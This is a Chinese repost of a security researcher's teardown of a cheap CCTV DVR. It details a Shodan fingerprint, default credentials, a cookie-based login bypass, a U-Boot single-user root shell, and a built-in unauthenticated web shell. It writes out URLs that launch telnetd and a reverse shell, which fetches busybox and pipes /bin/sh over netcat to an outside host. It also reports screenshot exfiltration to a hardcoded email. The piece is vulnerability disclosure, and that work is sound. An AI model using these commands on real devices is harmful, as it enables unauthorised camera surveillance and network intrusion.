转载

闭路电视探头究竟有多不安全?

闭路电视探头究竟有多不安全?

闭路电视探头在我们的生活中无所不在。最近的调查估计全英国大概有185万的监控摄像头,大部分都在私人住宅。大部分的探头都会连接到某些录像设备,也就是数字录像机(DVR)。

DVR会把多个摄像头的录像储存到一个硬盘上。它们不仅能够在屏幕上显示图片,大部分还能联网,用户可以通过浏览器或者客户端来连接。

当然商家和户主都会想要远程进入DVR,DVR设备通过端口转发连接到互联网,也正因为如此,我们可以在Shodan上找到大量的DVR设备。

所以我们打算买个 廉价的DVR ,看看还会不会有更加糟糕的情况。

闭路电视探头究竟有多不安全?

经过几小时的挖掘我们便发现了以下的问题:

容易被找到

这款DVR会运行一个客户web服务器,它的HTTP服务器头很具标志性:“ JAWS/1.0 ”。在Shodan上搜索这个关键字我们找到44,000个设备。

闭路电视探头究竟有多不安全?

弱口令问题

默认情况下,这款设备的用户名是admin,密码为空。

闭路电视探头究竟有多不安全?

连接电视后使用DVR的本地界面就可以更改密码。但设备中没有键盘,所以可以肯定大量的这款DVR使用的是默认密码。

虽然弱口令已经是老掉牙的问题了,但是还是物联网领域中普遍的问题。

Web验证绕过

首次访问DVR的时候显示的是index.html页面,这个页面可以让你输入用户名密码,验证成功后,你就会被重定向到view2.html。

奇怪的是,当我们清空cookies,访问view2.html时,我们看到页面渲染了一下,然后再把我们重定向到index.html让我们输密码。

这基本上就是JavaScript客户端验证的标志了。检查view2.js,我们发现是这样的:

$(document).ready(function(){

    dvr_camcnt =Cookies.get(“dvr_camcnt");

    dvr_usr =Cookies.get("dvr_usr");

    dvr_pwd =Cookies.get("dvr_pwd");

    if(dvr_camcnt ==null || dvr_usr == null || dvr_pwd == null)

    {

        location.href= "/index.html";

    }

只要这三个cookie有任意值,你就可以访问了(dvr_camcnt得是2、4、8或24)。

闭路电视探头究竟有多不安全?

手动设置这些cookie我们就能访问了。也就是说,我们无需知道用户名密码。

闭路电视探头究竟有多不安全?

打开串号控制台

虽然拿到Web界面控制已经很好玩了,但我还要root shell。

打开机器上面的盖子之后,我们发现了J18。这是个115200串口,虽然我能看到输出,但是没有shell,也没地方输入。

重启设备后我们发现它使用的是uboot,这是一款非常常见的开源boot loader。按任意键就能中断uboot。不过你只有一秒钟中断uboot,所以可能得多尝试几次。

我们现在就进入了uboot控制台。我们可以修改启动参数,改为单用户模式,我们就无需密码登陆了。

setenv bootargs ${bootargs) single

boot

现在DVR就进入了单用户模式,我们也有了root shell,我们可以做点猥琐的事了。

内置web shell

本地root shell不错,但我还想要远程shell。 闭路电视探头究竟有多不安全?

查看固件后我们发现,大部分的功能都是在dvr_app里面的,包括web服务器。尽管web界面中有cgi-bin目录,但我在文件服务器上没找到这个目录,有可能dvr_app在内部处理了这个目录。这样的情况在嵌入设备中非常普遍。

对这个二进制文件使用strings命令,就能看到cgi-bin了。而且我们还看到了其他的值,包括moo和shell。

闭路电视探头究竟有多不安全?

访问moo目录是这么个情况:

闭路电视探头究竟有多不安全?

访问shell目录会一直加载,但访问shell?ps时就能看到进程列表了:

闭路电视探头究竟有多不安全?

因此我们就拿到了一个远程,并且无需认证的shell,这个shell无法禁止,是设备里面自带的。

无需密码登录Telnet

设备在23端口运行telnet,但需要root密码。即使我们能够看到/etc/passwd和解密hash,我们还是拿不到密码。

闭路电视探头究竟有多不安全?

我们通过密码破解器看看能不能拿到密码,但这要花点时间。

为了解决这个问题,我们使用远程web shell开启一个新的已经登录的telnet daemon:

<a href="http://192.168.3.101/shell?/usr/sbin/telnetd">http://192.168.3.101/shell?/usr/sbin/telnetd</a> -l/bin/sh -p 25

现在我们可以登录telnet了。

闭路电视探头究竟有多不安全?

反弹shell

攻击者可以用反弹shell让DVR反向连接到他所控制的主机。只要用户有出口连接,这招就很管用,这是绕过NAT和防火墙的好办法。家庭企业和小型企业网络大多不会进行出站的过滤。

一般我们会用netcat建立反弹shell。跟其他小型嵌入式设备一样,这款DVR使用busybox来提供发亮的shell功能。这些命令是任意的。很遗憾netcat不能用,但我们可以解决。

DVR使用的是ARM处理器。也就是说基本上不可能直接下载netcat或busybox了,我们得进行编译。

为嵌入式系统进行编译很尴尬的,尤其是你得要跟硬件交互的时候。还好busybox和netcat的要求不多。我们只需要为架构创建静态链接二进制。这个得是要静态链接的,这样就能避免对库的依赖。这样会使二进制文件变大,不过这款设备上没有磁盘空间挺宽裕。

编译完成后我们就拿到DVR上试试。

找一个可写目录。大部分的文件系统都是只读的,你甚至无法更改密码添加用户。这毕竟是个DVR,所以我们弄了个硬盘,加载在/root/rec/a1下。

用wget下载编译的busybox二进制到这个目录

把busybox设为可执行

运行netcat反弹shell

命令如下:

<a href="http://192.168.3.101/shell?cd">http://192.168.3.101/shell?cd</a> /root/rec/a1 &amp;&amp; wget

%68%74%74%70%3a%2f%2f%32%31%32%2e%31%31%31%2e%34%33%2e%

31%36%31%2f%62%75%73%79%62%6f%78%20 &amp;&amp; chmod %2bxbusybox

&amp;&amp; ./busybox nc 1.2.3.4 8000 -e /bin/sh -e /bin/sh

Wget的网址得要经过编码,实际的网址是:

http://1.2.3.4/busybox

我们服务器上的netcat就监听到一个连接了,通过访问构造好的URL我们就可以与DVR进行交互了。

闭路电视探头究竟有多不安全?

发送截屏至硬编码的邮箱

进一步检查dvr_app二进制,我们发现了一些很奇怪的功能。

闭路电视探头究竟有多不安全?

不知道为何,第一个摄像头的截屏会被发送到 lawishere@yeah.net

发送DVR截屏的行为严重威胁到了隐私。

而且奇怪的是,有人曾经在Frank Law的GitHub页面上报告过这一情况:

https://web.archive.org/web/20151010191622/https://github.com/lawishere/JUAN-Device/issues/1

然后他撤下了这个项目。

其他问题

事情到此并没有完全结束。这款设备还有其他的问题:

如果你通过web服务器获得了shell或者命令注入,你就没必要提权了,你已经是root了。

这款设备没有CSRF保护,你可以诱骗用户点击链接,就能以他们的身份执行动作。

没有帐号锁定或者防爆破措施。你可以一直猜密码下去,唯一的限制频率的就是设备本身的运行速度。

没有HTTPS。所有通信都是以明文方式发送,可以被拦截,可以被篡改。

没有固件升级

我们的建议

把这些设备放到互联网上,你就会面临严重的安全风险。如果你把web界面端口转发,你就等于让攻击者完全控制这个设备。然后他们还可以以此作为跳板从内部攻击你网络中的其他设备。

* 参考来源: Pentest Partners ,vulture翻译,文章有修改,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

原文  http://www.evil0x.com/posts/13427.html
正文到此结束
Loading...